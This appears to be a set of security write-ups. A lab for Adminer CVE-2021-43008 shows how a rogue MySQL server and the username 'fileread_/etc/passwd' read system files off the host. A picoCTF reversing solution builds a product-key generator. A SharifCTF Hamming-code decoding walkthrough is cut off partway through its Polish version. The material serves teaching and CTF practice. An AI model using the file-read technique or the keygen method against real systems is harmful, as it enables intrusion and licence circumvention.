# Adminer Remote Arbitrary File Read (CVE-2021-43008) [中文版本(Chinese version)](README.zh-cn.md) Adminer is a tool for managing content in databases developed by PHP. It natively supports MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch and MongoDB. Improper Access Control in Adminer versions 1.12.0 to 4.6.2 (fixed in version 4.6.3) allows an attacker to achieve Arbitrary File Read on the remote server by requesting the Adminer to connect to a remote MySQL database. References: - <https://github.com/p0dalirius/CVE-2021-43008-AdminerRead> - <http://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability> ## Vulnerable environment Execute following command to start a PHP server with Adminer 4.6.2: ``` docker compose up -d ``` After the server is started, you can see the login page of Adminer at `http://your-ip:8080`. ## Exploit Start a roguo MySQL server through [mysql-fake-server](https://github.com/4ra1n/mysql-fake-server), then paste the `fileread_/etc/passwd` into username field: ![](1.png) Receive the request and the `/etc/passwd` has been written into current directory: ![](2.png)
sec-knowleage
# keygen-me-1 Reversing, 400 points ## Description: > Can you generate a valid product key for the validation program? A binary file was attached. ## Solution: Let's run the executable: ```console root@kali:/media/sf_CTFs/pico/keygen-me-1# ./activate Usage: ./activate <PRODUCT_KEY> ``` As expected, we need to provide a product key. Time to disassemble. ``` root@kali:/media/sf_CTFs/pico/keygen-me-1# r2 activate -- There's no way you could crash radare2. No. Way. [0x08048500]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x08048500]> afl 0x08048410 3 35 sym._init 0x08048450 1 6 sym.imp.printf 0x08048460 1 6 sym.imp.fgets 0x08048470 1 6 sym.imp.fclose 0x08048480 1 6 sym.imp.__stack_chk_fail 0x08048490 1 6 sym.imp.puts 0x080484a0 1 6 sym.imp.exit 0x080484b0 1 6 sym.imp.strlen 0x080484c0 1 6 sym.imp.__libc_start_main 0x080484d0 1 6 sym.imp.setvbuf 0x080484e0 1 6 sym.imp.fopen 0x080484f0 1 6 fcn.080484f0 0x08048500 1 33 entry0 0x08048530 1 4 sym.__x86.get_pc_thunk.bx 0x08048540 4 43 sym.deregister_tm_clones 0x08048570 4 53 sym.register_tm_clones 0x080485b0 3 30 sym.__do_global_dtors_aux 0x080485d0 4 43 -> 40 entry1.init 0x080485fb 6 139 sym.print_flag 0x08048686 7 50 sym.check_valid_char 0x080486b8 8 82 sym.ord 0x0804870a 11 103 sym.check_valid_key 0x08048771 4 172 sym.validate_key 0x0804881d 8 195 main 0x080488e0 4 93 sym.__libc_csu_init 0x08048940 1 2 sym.__libc_csu_fini 0x08048944 1 20 sym._fini ``` The overview of `main` is as follows: ``` .---------------------------------. | [0x804881d] | | 0x0804883a call sym.imp.setvbuf | `---------------------------------' f t | | | '----------------------. .----------------------------------------' | | | .-----------------------------------------------. .-------------------------------------. | 0x8048847 [gf] | | 0x804885e [gb] | | 0x0804884a str.Usage:_._activate__PRODUCT_KEY | | 0x0804886a call sym.check_valid_key | | 0x0804884f call sym.imp.puts | `-------------------------------------' `-----------------------------------------------' f t v | | | | | '-------------------. | | | | '---------------------. | .-----------------------------------------' | | | | | .------------------------------------------------------------. .----------------------------------. | | 0x8048876 [gi] | | 0x804888d [gh] | | | 0x08048879 str.Please_Provide_a_VALID_16_byte_Product_Key. | | 0x08048899 call sym.validate_key | | | 0x0804887e call sym.imp.puts | `----------------------------------' | `------------------------------------------------------------' f t | v | | | | | | | .---' | | | | | '----------. | | .----------------------------' | | | | | | | .-------------------------------------. .------------------------------------------------. | | | 0x80488a5 [gl] | | 0x80488bc [gk] | | | | 0x080488a8 str.INVALID_Product_Key. | | 0x080488bf str.Product_Activated_Successfully: | | | | 0x080488ad call sym.imp.puts | | 0x080488c4 call sym.imp.printf | | | `-------------------------------------' | 0x080488cc call sym.print_flag | | | v `------------------------------------------------' | | | v | | | | | | .--------' | | | | .------------------------------------------------' '---|---------------------------------------. '-----------------------------------------. | | | | .--------------------. | 0x80488d6 [ge] | `--------------------' ``` Let's start with `check_valid_key`: ``` .--------------------------------------. | [0x804870a] | | (fcn) sym.check_valid_key 103 | | sym.check_valid_key (int key); | | ; var int c @ ebp-0x5 | | ; var int i @ ebp-0x4 | | ; arg int key @ ebp+0x8 | | ; CALL XREF from main (0x804886a) | | push ebp | | mov ebp, esp | | sub esp, 0x10 | | ; [0x8:4]=-1 | | ; 0 | | cmp dword [key], 0 | | jne 0x804871d;[ga] | `--------------------------------------' f t | | | '---------------------------. .-------------------------' | | | .-----------------------. .--------------------------------. | 0x8048716 [gd] | | 0x804871d [ga] | | mov eax, 0 | | ; [0x8:4]=-1 | | jmp 0x804876f;[gc] | | ; 8 | `-----------------------' | mov eax, dword [key] | v | movzx eax, byte [eax] | | | mov byte [c], al | | | mov dword [i], 0 | | | jmp 0x8048759;[ge] | | `--------------------------------' | v | | '-------. | | .------' .-------------------------------------------. || | | || .--------------------------------------------------. || | 0x8048759 [ge] | || | ; CODE XREF from sym.check_valid_key (0x804872d) | || | cmp byte [c], 0 | || | jne 0x804872f;[gh] | || `--------------------------------------------------' || t f || | | || .--------------------------------' | || | '------------------------------------------. || | | || .-----------------------------------. .----------------------------------. || | 0x804872f [gh] | | 0x804875f [gk] | || | movsx eax, byte [c] | | cmp dword [i], 0x10 | || | push eax | | je 0x804876c;[gj] | || | call sym.check_valid_char;[gf] | `----------------------------------' || | add esp, 4 | f t || | test al, al | | | || | jne 0x8048747;[gg] | | | || `-----------------------------------' | | || f t | | || | | | | || | '---------------------. | | || .---' | | '-----------. || | | .-------------' | || | | | | || .-----------------------. .----------------------------------. .-----------------------. .---------------------------------. || | 0x8048740 [gi] | | 0x8048747 [gg] | | 0x8048765 [gl] | | 0x804876c [gj] | || | mov eax, 0 | | add dword [i], 1 | | mov eax, 0 | | mov eax, dword [i] | || | jmp 0x804876f;[gc] | | ; [0x8:4]=-1 | | jmp 0x804876f;[gc] | `---------------------------------' || `-----------------------' | ; 8 | .-----------------------' v || v | mov edx, dword [key] | v | || | | mov eax, dword [i] | | | || | | add eax, edx | | | || | | movzx eax, byte [eax] | | | || | | mov byte [c], al | | | || | `----------------------------------' | | || | v | | || | | | | || '--------------. | | | `------------------------------------' | | | | .--------------------------------------------------' | | | | .----------------------------------------------------------------------------' '----------------------------. | | | | .-------------------------------------------------------------------------. | 0x804876f [gc] | | ; CODE XREFS from sym.check_valid_key (0x804871b, 0x8048745, 0x804876a) | | leave | | ret | `-------------------------------------------------------------------------' ``` It iterates through all the characters in the key, check that they comply with `check_valid_char`, and makes sure that the key length is 0x10. `check_valid_char` simply checks that the character is a digit or an uppercase letter. The real logic is in `validate_key`: ``` .------------------------------------. | [0x8048771] | | (fcn) sym.validate_key 172 | | sym.validate_key (int key); | | ; var int sum @ ebp-0x14 | | ; var int i @ ebp-0x10 | | ; var int key_len @ ebp-0xc | | ; var int local_4h @ ebp-0x4 | | ; arg int key @ ebp+0x8 | | ; CALL XREF from main (0x8048899) | | push ebp | | mov ebp, esp | | push ebx | | sub esp, 0x14 | | sub esp, 0xc | | push dword [key] | | ; size_t strlen(const char *s) | | call sym.imp.strlen;[ga] | | add esp, 0x10 | | mov dword [key_len], eax | | mov dword [sum], 0 | | mov dword [i], 0 | | jmp 0x80487c9;[gb] | `------------------------------------' v | .--' .---------------. | | | | .-----------------------------------------------. | | 0x80487c9 [gb] | | | ; CODE XREF from sym.validate_key (0x8048797) | | | mov eax, dword [key_len] | | | sub eax, 1 | | | cmp eax, dword [i] | | | jg 0x8048799;[ge] | | `-----------------------------------------------' | t f | | | | .--------' | | | '----------------------------. | | | |.-----------------------------------. .----------------------------------. || 0x8048799 [ge] | | 0x80487d4 [gf] | || mov edx, dword [i] | | mov ecx, dword [sum] | || ; [0x8:4]=-1 | | mov edx, 0x38e38e39 | || ; 8 | | mov eax, ecx | || mov eax, dword [key] | | mul edx | || add eax, edx | | mov ebx, edx | || movzx eax, byte [eax] | | shr ebx, 3 | || movsx eax, al | | mov eax, ebx | || sub esp, 0xc | | shl eax, 3 | || push eax | | add eax, ebx | || call sym.ord;[gd] | | shl eax, 2 | || add esp, 0x10 | | sub ecx, eax | || movsx eax, al | | mov ebx, ecx | || ; 1 | | mov eax, dword [key_len] | || lea edx, [eax + 1] | | lea edx, [eax - 1] | || mov eax, dword [i] | | ; [0x8:4]=-1 | || add eax, 1 | | ; 8 | || imul eax, edx | | mov eax, dword [key] | || add dword [sum], eax | | add eax, edx | || add dword [i], 1 | | movzx eax, byte [eax] | |`-----------------------------------' | movsx eax, al | | v | sub esp, 0xc | | | | push eax | | | | call sym.ord;[gd] | | | | add esp, 0x10 | | | | movsx eax, al | | | | cmp ebx, eax | | | | sete al | | | | mov ebx, dword [local_4h] | | | | leave | | | | ret | | | `----------------------------------' | | | | `----' ``` Translated to Python, this is equivalent to: ```python def validate_key(key): log.info("Validating key: {}".format(key)) if len(key) != 16: raise Exception("Bad length") if not re.match('^[A-Z0-9]+$', key): raise Exception("Bad characters") s = 0 for i in range(len(key) - 1): edx = my_ord(key[i]) + 1 eax = i + 1 s += (edx * eax) ebx = 0x38E38E39 * s ebx = int(ebx >> 32) # needed only for python, mul puts lower bytes in eax, higher in edx ebx = ebx >> 3 eax = ebx << 3 eax += ebx eax = eax << 2 ecx = s - eax log.info("ecx: {}".format(hex(ecx))) log.info("ord(key[-1]): {}".format(hex(my_ord(key[-1])))) return ecx == my_ord(key[-1]) ``` The `ord` function has a custom implementation, as follows: ``` .------------------------------------------------------------. | [0x80486b8] | | (fcn) sym.ord 82 | | sym.ord (int arg_8h); | | ; var int local_ch @ ebp-0xc | | ; arg int arg_8h @ ebp+0x8 | | ; CALL XREFS from sym.validate_key (0x80487ab, 0x8048808) | | push ebp | | mov ebp, esp | | sub esp, 0x18 | | ; [0x8:4]=-1 | | ; 8 | | mov eax, dword [arg_8h] | | mov byte [local_ch], al | | ; '/' | | cmp byte [local_ch], 0x2f | | jle 0x80486d9;[ga] | `------------------------------------------------------------' f t | | | '-------------------------------. .-' | | | .----------------------------------. | | 0x80486ca [gc] | | | ; '9' | | | cmp byte [local_ch], 0x39 | | | jg 0x80486d9;[ga] | | `----------------------------------' | f t | | | | | '------------------------. | .--------------' | | | | .--' | | | .----------------------------------. .----------------------------------. | 0x80486d0 [ge] | | 0x80486d9 [ga] | | movzx eax, byte [local_ch] | | ; '@' | | ; '0' | | cmp byte [local_ch], 0x40 | | sub eax, 0x30 | | jle 0x80486ee;[gf] | | jmp 0x8048708;[gd] | `----------------------------------' `----------------------------------' f t v | | | | | '-------------. | | | | '-----------. | .---------------------' | | | | | .----------------------------------. | | | 0x80486df [gg] | | | | ; 'Z' | | | | cmp byte [local_ch], 0x5a | | | | jg 0x80486ee;[gf] | | | `----------------------------------' | | f t | | | | | | | '-----------------------------|-----. | .---' '-------. | | | | | .----------------------------------. .-----------------------------------------. | | 0x80486e5 [gh] | | 0x80486ee [gf] | | | movzx eax, byte [local_ch] | | sub esp, 0xc | | | ; '7' | | ; 0x8048984 | | | sub eax, 0x37 | | ; "Found Invalid Character!" | | | jmp 0x8048708;[gd] | | push str.Found_Invalid_Character | | `----------------------------------' | ; int puts(const char *s) | | v | call sym.imp.puts;[gi] | | | | add esp, 0x10 | | | | sub esp, 0xc | | | | push 0 | | | | ; void exit(int status) | | | | call sym.imp.exit;[gj] | | | `-----------------------------------------' | | | | .--------|-------' | .------' | | .--------------------------------------------------. | 0x8048708 [gd] | | ; CODE XREFS from sym.ord (0x80486d7, 0x80486ec) | | leave | | ret | `--------------------------------------------------' ``` Basically, this translates to: ```python def my_ord(c): if c.isalpha(): return ord(c) - ord('7') else: return ord(c) - ord('0') ``` So we have everything we need to understand how a valid key looks like. Now, we can play with the key a bit: ```console root@kali:/media/sf_CTFs/pico/keygen-me-1# python solve.py [*] Validating key: ZZZZZZZZZZZZZZZZ [*] ecx: 0x0 [*] ord(key[-1]): 0x23 False ``` We want the `ord` of the last character to match `ecx` - `0` will do the trick: ```console root@kali:/media/sf_CTFs/pico/keygen-me-1# python solve.py [*] Validating key: ZZZZZZZZZZZZZZZ0 [*] ecx: 0x0 [*] ord(key[-1]): 0x0 True ``` Let's try: ```console $ ./activate $(python -c 'print ("Z"*15) + "0"') Product Activated Successfully: picoCTF{k3yg3n5_4r3_s0_s1mp13_3718231394} ``` The flag: picoCTF{k3yg3n5_4r3_s0_s1mp13_3718231394}
sec-knowleage
## Hail Zeus (Crypto, 300p) > Asking Hermes to gath'r intel on the foe, he recover'd the blueprint of their transmitt'r bef're > getting captur'd. It’s been ov'r a month of radio silence. but wait... all hail Zeus, as they restart'd > communication when he strok'd them with a lightning: ###ENG [PL](#pl-version) Although this challenge wa worth "only" 300 points, only one team managed to solve it (our team of course, that's why i can write this writeup right now). We are given long bit string representing "enemy communication", and we have to decode it: 11111010101010010101011010100011110101000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000010010110101111111100000111100101010111001010010111011100101111100 001101000111111000101100110110011001111001001011101011011110110110101010000101101 100001101010111101000010101000001100010111110000011111100100001000111111011010010 010010100101011100011000000111001101010000001111111111010000111110001011001010110 100001001100010111010101010000001111000011010101010101000011110000110101000111101 000011010010010101111100101011111001111010001001101010000000010011000010110000011 111000011001100011011001101011001111001001000110111100000101111000100100010100101 000111101011011110010010011011110010001000001011101010001000000001100011001110011 011100101100010001001001100100011111000011110000001100111011010000010100001100011 000101010110010000010001000011100100101100001111100100001010101111010010111010010 111100110110110111110100100101100011010000001000000000010000111010001010110111100 100100110000100110011011110000010110001111000001111100100111000111011000101010001 001111010011110010111000111100100000110000000110101110110001010000011010100001110 100100111001110110101111011011111110000100010000101100011101000111100001000001001 001100011001000000000100010111000100101101111100100111010000110101010111000010011 000100101000101101010110101010010110001100110010110100010010100011011000010010101 011100100101000001011001101101000011001010011110100110100000110111000010100010110 010011110010010010100010111001111011000010100100111110001011010111011101010001010 001101001110100100101001011010010001110110100011100011100000011011001100100100010 011000110110000010100100011000111010001011110101001001101010000001110101000011100 010110001000111101010000101011000001011101001101000001101000001100010001100100110 100100101001010011100000111000011111110000110101101110001011010100001101000011000 000110100101101000001011000110111001101001001100010011110010011100000110110100110 100011111110101111000001001000011010010001111001011001100101000101111000001101010 001100010001100000011000100100101101111110100111011101101101001011000101010010011 100010010110010100110011111100000000100001010000000111001010010001111010000001100 000001000101001111011101010001111100111101100010110100111100000111011001110100010 000010001010110100001100111001001101001001010001011101000011010000011100000001010 110101100001011010000110010010101000001111010101111101000101011111011000011100001 110000011110000011110110111100000011100000100100000111011001110010010010001010011 000011010000010001001001000001001011010011010011101000010111010010111010001100001 011000011010010010110101011000000010010100010111001011101101111010101111000010101 000011111000001000110111110101101101011001010011111000101101001011001000110100101 011001001111101110010000010101000011000000110101000111001000101010001111110011110 100010010100010011000010110000111010101101000101011101000001000010100000001101010 110111000100100000100100000011011010111001010110011001110100111110100001001101100 011001011010111001110110110010110101000100100110100101111110001010110010000011110 010111010011000110110100001101000000110010011110100110110010011000100111110100001 001001110010011111000100001000011100010111100001110101000111010001011101001001000 000000000001101100110010000100101000001100000111010000011000010010000010010100110 000000001000000000000001101110000000000011100000000001100101000000011111011000000 001010001000000000110010000000000010011000000010001000000000011010010000000001011 010000000010000... We are also given blueprint describing transmission method: ![](task.png) As you can see, ASCII message is encoded with hamming code, and then interleaved with helical scan matrix. Before we start reversing this transmission, we have to learn something about hamming codes and helical scan matrices. Hamming codes are family of error correcting, linear codes. They have advantage over simple checksums, because they can be used to repair simple single-bit flips, not only to detect them. In practice using hamming codes can be reduced to multiplying by appropiate matrices - generato generator matrix G and parity check matrix H. Every size of hamming code need different matrix, so we have to find (or compute, it's not that hard) appropiate matrix for our needs. In case of hamming(31, 26) matrix we need looks like this: ```python mat_g = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], ] mat_h = [ [1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1], ] ``` We also need some way to multiply matrices: ```python def mult(a, b): rows_a = len(a) cols_a = len(a[0]) rows_b = len(b) cols_b = len(b[0]) if cols_a != rows_b: print "cannot multiply the two matrices. Incorrect dimensions:", cols_a, rows_b return c = [[0 for row in range(cols_b)] for col in range(rows_a)] for i in range(rows_a): for j in range(cols_b): c[i][j] = sum(a[i][k] * b[k][j] for k in range(cols_a)) & 1 return c def transpose(mat): return [[mat[y][x] for y in range(len(mat))] for x in range(len(mat[0]))] assert transpose([[1, 2, 3], [4, 5, 6]]) == [[1, 4], [2, 5], [3, 6]] ``` Decoding hamming codes is very easy - it's enough to ignore error correcting/error checking informations (if message is not damaged of course). We can detect if message is damaged by multiplying it with matrix H - if message is not corrupted we should get zero matrix in result. Second part of transmission is helical scan interleaving. Data is saved in matrix, and read in different order. For example: 1 2 3 4 5 6 7 8 1 2 3 4 ... 14 15 16 -> 9 10 11 12 -> 1 6 11 16 5 10 15 4 9 14 3 8 13 2 7 12 13 14 15 16 (We read first element in first row, and proceed diagonally. Then we read first element in second row and proceed diagonally, etc). We need some helper methods, to convert between matrices from raw data strem (both ways): ```python def make_matrix(w, h, data): return [[data[i*w+j] for j in range(w)] for i in range(h)] assert make_matrix(2, 3, [1, 2, 3, 4, 5, 6]) == [[1, 2], [3, 4], [5, 6]] def unmake_matrix(w, h, data): return [data[i/w][i%w] for i in range(w*h)] assert unmake_matrix(2, 3, [[1, 2], [3, 4], [5, 6]]) == [1, 2, 3, 4, 5, 6] ``` And encoding/decoding: ```python def chunks(data, n, pad_obj=0): pad = list(data) + [pad_obj] * (n-1) return [pad[i*n:(i+1)*n] for i in range(len(pad)/n)] assert chunks([1, 2, 3, 4, 5], 3) == [[1, 2, 3], [4, 5, 0]] def helical_interleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y+x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_interleave_part(2, 3, [1, 2, 3, 4, 5, 6]) == [1, 4, 3, 6, 5, 2] def helical_interleave(w, h, dat): return sum((helical_interleave_part(w, h, part) for part in chunks(dat, w*h)), []) assert helical_interleave(2, 3, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]) == [1, 4, 3, 6, 5, 2, 7, 10, 9, 12, 11, 8] def helical_deinterleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y-x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_deinterleave_part(2, 3, [1, 4, 3, 6, 5, 2]) == [1, 2, 3, 4, 5, 6] def helical_deinterleave(w, h, dat): return sum((helical_deinterleave_part(w, h, part) for part in chunks(dat, w*h)), []) ``` We have implemented everything we need to solve this challenge. We are given all necessary information to actually decode transmission - except size of helical scan matrix. Fortunatelly, we know that matrix is smaller than 30x30, so we can just bruteforce width and height. We will know that we guessed right by checking amount of hamming code errors. Random data will rarely have correct checksum (1/32 chance), and correctly deinterleaved data should have most checksums correct. So moving on to implementation phase: ```python data = open('data.txt').read().strip() data = [int(c) for c in data] result = [] for w in range(1, 30): print w, ':', for h in range(1, 30): print h, fail = 0 helix = helical_deinterleave(w, h, data) cs = chunks(helix, 31) for c in cs: hamming_check = mult(mat_h, transpose([c])) hamming_check = transpose(hamming_check) if not all(n == 0 for n in hamming_check[0]): fail += 1 result.append((fail, w, h)) print def safe(s): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in s) result = sorted(result) fail, w, h = result[0] print 'best result:', fail, w, h ``` Our code tells us that matrix is 24 elements wide and 16 elements high. We can just decode data now, right? ```python helix = helical_deinterleave(w, h, data) helix = decode_helix_brute(mat_g, mat_h, helix) dat = chunks(helix, 8) decr = [int(''.join(str(c) for c in chunk), 2) for chunk in dat] decr_hex = ''.join(chr(c) for c in decr).encode('hex') decr_bin = bin(int(decr_hex, 16))[2:] ``` Unfortunately, there is one more thing we have to do - we don't know from which bit we should start decoding (transmission is not byte-aligned). But that's non-issue, because we can just bruteforce all 8 possiblities: ```python for i in range(8): data = repr(''.join([chr(int(''.join(chunk), 2)) for chunk in chunks(decr_bin[i:], 8, '0')])) if 'SharifCTF' in data: print data ``` y weighs you down and torments you with regret. Drawing rooms, gossip, balls, SharifCTF{4412e6635c6eafaad08574d77ab4d301}, vanity, and triviality --- these are the enchanted circle I cannot escape from. I am now going to the war, the greatest war there ever was, and I know nothing and am fit for nothing. I am very al\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Challenge solved, 300 points (+ 100 bonus) well earned. Working code is inside hamming.py file. ###PL version Zacznę może od tego, że mimo ze zadanie ma "tylko" 300 punktów, to zostało rozwiązane tylko przez jedną drużynę na świecie - p4 (naszą drużynę tzn). Jako że nikt poza nami nie opisze tego zadania (bo nikt inny go nie zrobił), czuję się zobowiązany do opisania naszego rozwiązania. Ale do rzeczy. Dostajemy bardzo długi ciąg bitów, będący "komunikacją" o której mowa w treści zadania: 11111010101010010101011010100011110101000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000010010110101111111100000111100101010111001010010111011100101111100 001101000111111000101100110110011001111001001011101011011110110110101010000101101 100001101010111101000010101000001100010111110000011111100100001000111111011010010 010010100101011100011000000111001101010000001111111111010000111110001011001010110 100001001100010111010101010000001111000011010101010101000011110000110101000111101 000011010010010101111100101011111001111010001001101010000000010011000010110000011 111000011001100011011001101011001111001001000110111100000101111000100100010100101 000111101011011110010010011011110010001000001011101010001000000001100011001110011 011100101100010001001001100100011111000011110000001100111011010000010100001100011 000101010110010000010001000011100100101100001111100100001010101111010010111010010 111100110110110111110100100101100011010000001000000000010000111010001010110111100 100100110000100110011011110000010110001111000001111100100111000111011000101010001 001111010011110010111000111100100000110000000110101110110001010000011010100001110 100100111001110110101111011011111110000100010000101100011101000111100001000001001 001100011001000000000100010111000100101101111100100111010000110101010111000010011 000100101000101101010110101010010110001100110010110100010010100011011000010010101 011100100101000001011001101101000011001010011110100110100000110111000010100010110 010011110010010010100010111001111011000010100100111110001011010111011101010001010 001101001110100100101001011010010001110110100011100011100000011011001100100100010 011000110110000010100100011000111010001011110101001001101010000001110101000011100 010110001000111101010000101011000001011101001101000001101000001100010001100100110 100100101001010011100000111000011111110000110101101110001011010100001101000011000 000110100101101000001011000110111001101001001100010011110010011100000110110100110 100011111110101111000001001000011010010001111001011001100101000101111000001101010 001100010001100000011000100100101101111110100111011101101101001011000101010010011 100010010110010100110011111100000000100001010000000111001010010001111010000001100 000001000101001111011101010001111100111101100010110100111100000111011001110100010 000010001010110100001100111001001101001001010001011101000011010000011100000001010 110101100001011010000110010010101000001111010101111101000101011111011000011100001 110000011110000011110110111100000011100000100100000111011001110010010010001010011 000011010000010001001001000001001011010011010011101000010111010010111010001100001 011000011010010010110101011000000010010100010111001011101101111010101111000010101 000011111000001000110111110101101101011001010011111000101101001011001000110100101 011001001111101110010000010101000011000000110101000111001000101010001111110011110 100010010100010011000010110000111010101101000101011101000001000010100000001101010 110111000100100000100100000011011010111001010110011001110100111110100001001101100 011001011010111001110110110010110101000100100110100101111110001010110010000011110 010111010011000110110100001101000000110010011110100110110010011000100111110100001 001001110010011111000100001000011100010111100001110101000111010001011101001001000 000000000001101100110010000100101000001100000111010000011000010010000010010100110 000000001000000000000001101110000000000011100000000001100101000000011111011000000 001010001000000000110010000000000010011000000010001000000000011010010000000001011 010000000010000... W zadaniu jest również podany "blueprint" z opisem sposobu transmisji: ![](task.png) Jak widać, wiadomość ASCII jest enkodowana przy pomocy kodu hamminga, a następnie przeplatana przy pomocy helical scan matrix. Zanim zaczniemy reversować tą transmisję, spróbujmy najpierw zorientować się co ona w ogóle robi. Czym jest kodowanie hamminga i `helical scan matrix`? Kodowanie hamminga to rodzina liniowych kodów naprawczych (linear error correcting codes). Mają one tą zaletę nad prostymi checksumami (jak np. parity code, czyli bit parzystości), że mogą nie tylko wykrywać 